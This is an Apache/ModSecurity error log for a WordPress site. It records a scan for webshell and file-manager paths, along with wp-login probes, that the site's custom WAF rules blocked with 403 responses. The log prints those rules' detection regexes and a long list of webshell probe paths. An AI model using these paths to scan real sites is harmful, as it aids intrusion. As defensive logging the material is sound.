[Wed Dec 10 16:25:12.989894 2025] [:error] [pid 36976:tid 37015] [client 85.204.124.84:48787] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aTkuaCSpHW5KVaY9tJlRzAAAAMg"]
[Wed Dec 10 16:25:16.631066 2025] [:error] [pid 36976:tid 37009] [client 85.204.124.83:58535] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aTkubCSpHW5KVaY9tJlR2AAAAMI"]
[Wed Dec 10 16:25:18.731330 2025] [proxy_fcgi:error] [pid 46868:tid 46886] [client 85.204.124.83:54739] AH01071: Got error 'Primary script unknown'
[Wed Dec 10 16:25:19.760658 2025] [:error] [pid 46868:tid 46870] [client 85.204.124.83:54739] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aTkub43NdlN2GOOyBjE6YgAAAQA"]
[Wed Dec 10 16:25:20.798652 2025] [:error] [pid 37062:tid 37076] [client 85.204.124.85:22045] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aTkucDB0I62HCw8Z5BQXMQAAAAw"]
[Wed Dec 10 16:25:22.882689 2025] [:error] [pid 37062:tid 37070] [client 85.204.124.84:56411] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aTkucjB0I62HCw8Z5BQXNwAAAAY"]
[Wed Dec 10 16:25:23.911506 2025] [:error] [pid 36976:tid 37027] [client 85.204.124.84:25315] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aTkucySpHW5KVaY9tJlR7QAAANQ"]
[Wed Dec 10 16:25:28.600502 2025] [:error] [pid 46868:tid 46876] [client 85.204.124.85:33961] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aTkueI3NdlN2GOOyBjE6cAAAAQY"]
[Wed Dec 10 16:25:29.621750 2025] [:error] [pid 49095:tid 49101] [client 85.204.124.84:34599] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aTkuecorr4Jt2Tfx_EZ-igAAAUQ"]
[Wed Dec 10 16:25:32.787631 2025] [:error] [pid 46868:tid 46870] [client 85.204.124.84:58661] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aTkufI3NdlN2GOOyBjE6dwAAAQA"]
[Wed Dec 10 16:25:33.820429 2025] [:error] [pid 36976:tid 37014] [client 85.204.124.86:33749] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aTkufSSpHW5KVaY9tJlSCwAAAMc"]
[Wed Dec 10 16:25:34.841176 2025] [:error] [pid 36975:tid 36996] [client 85.204.124.83:47675] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aTkuft_ZNQ3zMmb38BEq7wAAAJA"]
[Wed Dec 10 16:25:38.499541 2025] [:error] [pid 36975:tid 37002] [client 85.204.124.85:64567] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aTkugt_ZNQ3zMmb38BEq_AAAAJY"]
[Wed Dec 10 16:25:40.040536 2025] [:error] [pid 49095:tid 49112] [client 85.204.124.85:43369] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aTkuhMorr4Jt2Tfx_EZ-pQAAAU8"]
[Wed Dec 10 16:25:44.788283 2025] [:error] [pid 36976:tid 37022] [client 85.204.124.85:25869] [client 85.204.124.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.204.124.85, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aTkuiCSpHW5KVaY9tJlSPwAAAM8"]
[Wed Dec 10 16:25:47.948579 2025] [:error] [pid 36976:tid 37008] [client 85.204.124.85:25869] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aTkuiySpHW5KVaY9tJlSTQAAAME"]
[Wed Dec 10 16:25:48.988786 2025] [:error] [pid 37062:tid 37064] [client 85.204.124.84:41873] [client 85.204.124.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.204.124.84, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aTkujDB0I62HCw8Z5BQXggAAAAA"]
[Wed Dec 10 16:25:54.804566 2025] [proxy_fcgi:error] [pid 37062:tid 37070] [client 85.204.124.84:41873] AH01071: Got error 'Primary script unknown'
[Wed Dec 10 16:26:02.701869 2025] [:error] [pid 37062:tid 37065] [client 85.204.124.84:41873] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aTkumjB0I62HCw8Z5BQXtQAAAAE"]
[Wed Dec 10 16:26:05.319952 2025] [:error] [pid 49095:tid 49101] [client 85.204.124.84:31535] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aTkuncorr4Jt2Tfx_EZ-zAAAAUQ"]
[Wed Dec 10 16:26:07.427465 2025] [:error] [pid 36976:tid 37029] [client 85.204.124.85:33579] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aTkunySpHW5KVaY9tJlSkQAAANY"]
[Wed Dec 10 16:26:13.214210 2025] [:error] [pid 49095:tid 49115] [client 85.204.124.84:53533] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aTkupcorr4Jt2Tfx_EZ-2QAAAVI"]
[Wed Dec 10 16:26:16.672900 2025] [:error] [pid 37062:tid 37088] [client 85.204.124.84:56249] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aTkuqDB0I62HCw8Z5BQXvwAAABg"]
[Wed Dec 10 16:26:18.233769 2025] [:error] [pid 37062:tid 37069] [client 85.204.124.84:61025] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aTkuqjB0I62HCw8Z5BQXwgAAAAU"]
[Wed Dec 10 16:26:21.352686 2025] [proxy_fcgi:error] [pid 49095:tid 49109] [client 85.204.124.84:54239] AH01071: Got error 'Primary script unknown'
[Wed Dec 10 16:26:21.868128 2025] [proxy_fcgi:error] [pid 49095:tid 49119] [client 85.204.124.84:54239] AH01071: Got error 'Primary script unknown'
[Wed Dec 10 16:26:22.380323 2025] [:error] [pid 49095:tid 49105] [client 85.204.124.84:54239] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aTkursorr4Jt2Tfx_EZ-_AAAAUg"]
[Wed Dec 10 16:26:23.459366 2025] [:error] [pid 49095:tid 49121] [client 85.204.124.83:51813] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aTkur8orr4Jt2Tfx_EZ-_wAAAVg"]
[Wed Dec 10 16:26:28.198511 2025] [:error] [pid 37062:tid 37074] [client 85.204.124.84:54717] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aTkutDB0I62HCw8Z5BQX3QAAAAo"]
[Wed Dec 10 16:26:29.754095 2025] [:error] [pid 36976:tid 37021] [client 85.204.124.85:58777] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aTkutSSpHW5KVaY9tJlS4wAAAM4"]
[Wed Dec 10 16:26:32.339342 2025] [:error] [pid 36977:tid 37056] [client 85.204.124.84:57697] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aTkuuMc-JLl-uoL-Au5_ngAAAFY"]
[Wed Dec 10 16:26:37.024690 2025] [:error] [pid 46868:tid 46883] [client 85.204.124.86:42307] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aTkuvY3NdlN2GOOyBjE6wgAAAQ0"]
[Wed Dec 10 16:26:38.066257 2025] [proxy_fcgi:error] [pid 36977:tid 37041] [client 85.204.124.85:62007] AH01071: Got error 'Primary script unknown'
[Wed Dec 10 16:26:39.643214 2025] [:error] [pid 36977:tid 37046] [client 85.204.124.85:62007] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aTkuv8c-JLl-uoL-Au5_owAAAEw"]
[Wed Dec 10 16:26:43.234218 2025] [proxy_fcgi:error] [pid 37062:tid 37080] [client 85.204.124.85:36917] AH01071: Got error 'Primary script unknown'
[Wed Dec 10 16:26:44.303190 2025] [:error] [pid 37062:tid 37064] [client 85.204.124.85:36917] [client 85.204.124.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.204.124.85, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aTkuxDB0I62HCw8Z5BQYDAAAAAA"]
[Wed Dec 10 16:26:46.898064 2025] [:error] [pid 37062:tid 37081] [client 85.204.124.85:36917] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aTkuxjB0I62HCw8Z5BQYEwAAABE"]
[Wed Dec 10 16:26:48.468074 2025] [:error] [pid 36976:tid 37008] [client 85.204.124.85:40989] [client 85.204.124.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aTkuyCSpHW5KVaY9tJlTBgAAAME"]
[Wed Dec 10 16:26:51.586489 2025] [:error] [pid 49095:tid 49102] [client 85.204.124.84:41217] [client 85.204.124.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aTkuy8orr4Jt2Tfx_EZ_JwAAAUU"]
[Wed Dec 10 16:26:54.689946 2025] [:error] [pid 49095:tid 49102] [client 85.204.124.86:49441] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aTkuzsorr4Jt2Tfx_EZ_MwAAAUU"]
[Wed Dec 10 16:26:56.257380 2025] [:error] [pid 49095:tid 49121] [client 85.204.124.83:27693] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aTku0Morr4Jt2Tfx_EZ_OwAAAVg"]
[Wed Dec 10 16:26:58.857410 2025] [:error] [pid 36976:tid 37008] [client 85.204.124.86:21217] [client 85.204.124.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aTku0iSpHW5KVaY9tJlTLAAAAME"]
[Wed Dec 10 16:27:00.918896 2025] [proxy_fcgi:error] [pid 36977:tid 37053] [client 85.204.124.83:36301] AH01071: Got error 'Primary script unknown'
[Wed Dec 10 16:27:01.440471 2025] [:error] [pid 36977:tid 37043] [client 85.204.124.83:36301] [client 85.204.124.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aTku1cc-JLl-uoL-Au5_ugAAAEk"]
[Wed Dec 10 20:47:19.986604 2025] [:error] [pid 36975:tid 36998] [client 170.106.180.139:47056] [client 170.106.180.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aTlr19_ZNQ3zMmb38BFtsAAAAJI"]
[Wed Dec 10 23:59:19.064853 2025] [:error] [pid 36977:tid 37058] [client 172.98.33.7:43757] [client 172.98.33.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/theme-check/theme-check.php"] [unique_id "aTmY18c-JLl-uoL-Au7noAAAAFg"]
[Wed Dec 10 23:59:20.562567 2025] [:error] [pid 46868:tid 46877] [client 45.132.115.249:42921] [client 45.132.115.249] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aTmY2I3NdlN2GOOyBjGiuAAAAQc"]
[Wed Dec 10 23:59:22.453238 2025] [:error] [pid 37062:tid 37072] [client 172.98.33.10:42237] [client 172.98.33.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/schema/yanz.php"] [unique_id "aTmY2jB0I62HCw8Z5BSLOgAAAAg"]
[Wed Dec 10 23:59:23.365018 2025] [:error] [pid 46868:tid 46876] [client 45.132.115.245:47097] [client 45.132.115.245] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/js-inc.php"] [unique_id "aTmY243NdlN2GOOyBjGiwgAAAQY"]
[Wed Dec 10 23:59:23.963191 2025] [:error] [pid 49095:tid 49112] [client 45.132.115.245:24445] [client 45.132.115.245] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/init-help/init.php"] [unique_id "aTmY28orr4Jt2Tfx_EY8ogAAAU8"]
[Wed Dec 10 23:59:24.564671 2025] [:error] [pid 49095:tid 49106] [client 45.132.115.251:63039] [client 45.132.115.251] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wpcall-button/button-image.php"] [unique_id "aTmY3Morr4Jt2Tfx_EY8pQAAAUk"]
[Wed Dec 10 23:59:25.260372 2025] [:error] [pid 36977:tid 37046] [client 172.98.33.4:43125] [client 172.98.33.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/schema/geckos.php"] [unique_id "aTmY3cc-JLl-uoL-Au7nwgAAAEw"]
[Wed Dec 10 23:59:26.074200 2025] [:error] [pid 36977:tid 37037] [client 172.98.33.19:56957] [client 172.98.33.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/SecurityFin/SecurityFin.php"] [unique_id "aTmY3sc-JLl-uoL-Au7nxwAAAEM"]
[Wed Dec 10 23:59:26.962473 2025] [:error] [pid 37062:tid 37064] [client 172.98.33.8:28733] [client 172.98.33.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wpr-addons/forms/b1ack.php"] [unique_id "aTmY3jB0I62HCw8Z5BSLQAAAAAA"]
[Wed Dec 10 23:59:27.562933 2025] [:error] [pid 49095:tid 49111] [client 172.98.33.17:38585] [client 172.98.33.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/WordPressCore/include.php"] [unique_id "aTmY38orr4Jt2Tfx_EY8sgAAAU4"]
